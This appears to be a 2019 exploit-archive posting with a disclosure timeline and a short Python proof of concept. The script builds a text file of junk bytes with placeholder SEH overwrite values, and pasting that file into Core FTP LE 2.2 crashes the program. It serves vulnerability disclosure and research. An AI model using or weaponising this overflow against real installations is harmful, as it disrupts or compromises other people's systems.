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Core FTP LE Version 2.2 Build 1935 Buffer Overflow

Core FTP LE Version 2.2 Build 1935 Buffer Overflow
Posted Sep 9, 2019
Authored by Debashis Pal

Core FTP LE version 2.2 build 1935 suffers from buffer overflow vulnerability.

tags | exploit, overflow
MD5 | e28b82778e6eea7a6347b8974496ac19

Core FTP LE Version 2.2 Build 1935 Buffer Overflow

Change Mirror Download
#!/usr/bin/python

# Exploit Title: Core FTP LE Version 2.2, build 1935 - Local Buffer
Overflow (SEH Unicode)
# Vulnerability Details: Core FTP LE Version 2.2, build 1935 is prone to a
buffer overflow vulnerability that may result in a DoS user local folder
selection pane
# Exploit Type : DOS
# Date: 08-Sep-2019
# Vulnerable Software: Core FTP LE
# Version: Version 2.2, build 1935
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/download/coreftplite.exe
# Tested Windows : Windows Vista Ultimate SP2(32-bit), Windows 7
Professional SP1(32-bit)
# Exploit Author: Debashis Pal

#Timeline
# Vulnerability Discover Date: 01-Sep-2019
# Vulnerability Report to Vendor:01-Sep-2019,No responds
# Again email to Vendor:05-Sep-2019 ,No responds
# Public Disclose : 08-Sep-2019

# PoC
# 1. coreftpleversion2-2build1935.txt from POC.py code, open in
notepad(coreftpleversion2-2build1935.txt), copy contents
# 2. Open Core FTP LE(Version 2.2, build 1935)
# 3. Select the left interface(CORE FTP LE,local folder selection pane)
# 4. paste contents from notepad
# 5. Application will crash and SEH overwritten with Unicode



crash = "\x43" * 585 #Junk
crash += "\x42" * 2 #nSEH
crash += "\x41" * 2 #SEH
crash += "\x44" * 411 #More Junk


file="coreftpleversion2-2build1935.txt"
generate=open(file, "w")
generate.write(crash)
generate.close

#Attachment: Application will crash and SEH overwritten with Unicode.jpg

Thank you,
Debashis Pal

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